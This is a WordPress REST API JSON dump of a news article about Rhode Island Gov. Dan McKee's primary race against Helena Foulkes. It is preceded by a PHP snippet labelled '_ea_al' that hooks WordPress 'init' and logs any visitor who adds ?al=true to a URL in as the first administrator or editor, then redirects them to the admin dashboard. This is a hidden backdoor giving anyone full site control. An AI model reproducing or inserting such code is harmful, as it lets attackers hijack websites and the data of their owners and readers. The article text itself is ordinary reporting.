// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); {"id":26801,"date":"2026-08-08T14:03:01","date_gmt":"2026-08-08T14:03:01","guid":{"rendered":"https:\/\/bluelightnews.com\/category\/politics\/the-anti-incumbent-wave-crashes-on-rhode-island\/"},"modified":"2026-08-08T14:03:01","modified_gmt":"2026-08-08T14:03:01","slug":"the-anti-incumbent-wave-crashes-on-rhode-island","status":"publish","type":"post","link":"https:\/\/bluelightnews.com\/category\/politics\/the-anti-incumbent-wave-crashes-on-rhode-island\/","title":{"rendered":"The anti-incumbent wave crashes on Rhode Island"},"content":{"rendered":"
\n

Rhode Island Gov. Dan McKee has a month to turn around primary challenger Helena Foulkes\u2019 20-point lead or become the first sitting U.S. governor to lose a primary in eight years.<\/p>\n

The race represents another crest in the world\u2019s post-pandemic anti-incumbent wave, which has transcended ideological lines as voters express broad frustration with high costs of living and governments they don\u2019t feel are working for them. It\u2019s a throughline from insurgent progressive victories to Kamala Harris\u2019 2024 loss to President Donald Trump\u2019s growing unpopularity.<\/p>\n

And it\u2019s all down to a bridge.Signs outside Rhode Island\u2019s partially closed Washington Bridge tell drivers: \u201cThank you for your patience.\u201d<\/p>\n

But voters who\u2019ve lived through the resulting traffic crisis since emergency safety concerns emerged in 2023 keep telling Foulkes the messages make them feel the opposite. Despite some improvement, they\u2019re fed up with commuting and economic troubles stemming from the bridge\u2019s slowdown. One older woman told Foulkes she wanted to take out her BB gun and shoot the signs.<\/p>\n

The contest is a rematch of the 2022 primary, when McKee (who\u2019d been elevated to governor when Gina Raimondo became Commerce secretary) narrowly edged out Foulkes in a multi-candidate race. The primary doesn\u2019t fall neatly along the ideological lines that have riven Democrats elsewhere. Foulkes and McKee, both baby boomers, have positioned themselves as relatively mainstream, center-left Dems.<\/p>\n

\u201cI\u2019m running against people\u2019s belief that the status quo is maybe just as good as we\u2019re ever going to be,\u201d Foulkes told Playbook. She\u2019s proposed funding 20,000 new housing units with a millionaires tax. \u201cIt\u2019s so important that people feel a sense of momentum and energy \u2026 because I think oftentimes government doesn\u2019t feel urgent to people, and their lives are really hurting.\u201d<\/p>\n

Rhode Island is small enough \u2014 an hour\u2019s drive from one corner to the other \u2014 that a single bridge symbolizes the trend. (The Washington Bridge is a key conduit between Providence and East Providence.) Almost everybody says the bridge is the No. 1 issue in the race and voters\u2019 perception of McKee\u2019s tenure. He and Foulkes have squabbled over the pace of rebuilding, the bidding process and the state Department of Transportation leadership. Residents are also struggling with some of the country\u2019s highest electric rates and worst housing affordability metrics.<\/p>\n

But McKee is mounting a vigorous defense of his time in office, saying he\u2019s delivered for Rhode Islanders \u2014 despite Trump\u2019s obstacles \u2014 on jobs, SNAP, wind energy, education, hospitals, housing and energy. The governor argues he\u2019s prioritized safety on the bridge after previous leaders kicked the can down the road. One recent poll<\/a> by McKee allies found a closer race, with Foulkes ahead by just 6 points.<\/p>\n

\u201cMy record is going to really be the important factor,\u201d McKee said in an interview. \u201cMy opponent\u2019s record\u2019s been in the corporate boardroom, really putting profits over people.\u201d<\/p>\n

That\u2019s the heart of McKee\u2019s message, which banks on another crucial Democratic 2026 narrative carrying the day: a working people\u2019s populism taking on the elite business class. McKee has long had a base of union support. In Foulkes, he has an opponent who\u2019s no democratic socialist. She was a longtime CVS executive and comes from a storied political lineage (her grandfather and uncle, Thomas and Chris Dodd, were both senators).<\/p>\n

\u201cIt\u2019s kind of a running bit here that her campaign is, in a very real way, being run from the deck of the Dunes Club in Narragansett,\u201d said McKee campaign manager Drew Shannon, referring to the exclusive, members-only beach club.<\/p>\n

And McKee has gone negative on the airwaves, accusing Foulkes of cutting people\u2019s health care and turning a blind eye to opioid addiction during her time at CVS. \u201cShe\u2019s a denier: someone who denies the progress we\u2019re making,\u201d McKee told Playbook. \u201cJust like she denies the role she played in fueling an opioid crisis.\u201d Both candidates got fiery in a radio debate<\/a> this week. As of July 31, Foulkes had five times<\/a> McKee\u2019s cash on hand.<\/p>\n

McKee has been rolling out a string of notable endorsements, many from labor, including teachers, firefighters, building trades and Planned Parenthood Votes! Rhode Island PAC. If he can pull off a comeback, it\u2019ll likely be on the strength of union support.<\/p>\n

But his positioning as a labor champion from the working-class Blackstone Valley \u2014 the birthplace of the U.S.\u2019 Industrial Revolution \u2014 has been partially undercut by high-profile defections in his base. The Rhode Island SEIU State Council backed Foulkes. The state Democratic Party and the state AFL-CIO voted not to endorse in the race, both of which were seen as big blows to McKee.<\/p>\n

\u201cThe labor movement is going to be in both camps,\u201d AFL-CIO President Patrick Crowley said.<\/p>\n

And a number of Democratic city committees have sprung for Foulkes. Cumberland Mayor Jeff Cutter, who serves in the role McKee once held, is among those now supporting her. \u201cThere\u2019s been some stances taken that I don\u2019t think represent the same person who was a mentor of mine,\u201d Cutter said of McKee, calling his endorsement a difficult personal choice.<\/p>\n

\u201cIt\u2019s one of those times,\u201d Cutter added, \u201cwhere the advantage of incumbency might not be an advantage at this point because there\u2019s just so much kind of frustration.\u201d<\/p>\n

Like this content? Consider signing up for Blue Light News’s <\/i>Playbook newsletter<\/i><\/a>. <\/i><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

Rhode Island Gov. Dan McKee has a month to turn around primary challenger Helena Foulkes\u2019 20-point lead or become the first sitting U.S. governor to lose a primary in eight years. The race represents another crest in the world\u2019s post-pandemic anti-incumbent wave, which has transcended ideological lines as voters express broad frustration with high costs […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-26801","post","type-post","status-publish","format-standard","hentry","category-politics"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/26801","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/comments?post=26801"}],"version-history":[{"count":0,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/26801\/revisions"}],"wp:attachment":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/media?parent=26801"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/categories?post=26801"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/tags?post=26801"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}